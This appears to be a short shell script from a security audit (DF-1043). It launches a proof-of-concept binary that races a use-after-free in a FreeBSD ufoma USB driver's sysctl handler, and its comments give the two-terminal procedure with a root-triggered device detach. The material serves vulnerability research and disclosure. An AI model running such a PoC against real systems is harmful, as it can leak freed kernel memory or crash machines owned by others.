#!/bin/sh
# DF-1043 — run the sysctl reader PoC.
#
# NOTE: This reader can only hit the UAF race on a system with a real
# ufoma USB CDC-ACM device attached AND a concurrent detach trigger
# (physical unplug, "usbconfig -d X.Y detach" as root, or a USB error
# forcing port reset).  On the audit guest (no USB hardware), the OID
# dev.ufoma.0.supportmode does not exist and every call returns ENOENT.
#
# Full two-process race procedure (requires USB HW):
#   Terminal 1 (unprivileged):  ./run.sh
#   Terminal 2 (root):          usbconfig -d X.Y detach
#
# On a DEBUG/INVARIANTS kernel with slab poisoning, Terminal 1 prints
# suspected freed-memory bytes (0xDE) once the race window is won.
set -e
cd "$(dirname "$0")"
DEV="${1:-0}"
echo "[+] reader loop on dev.ufoma.$DEV.supportmode (Ctrl-C to stop)"
echo "[+] trigger detach in another shell: usbconfig -d X.Y detach"
exec ./ufoma_uaf "dev.ufoma.$DEV.supportmode"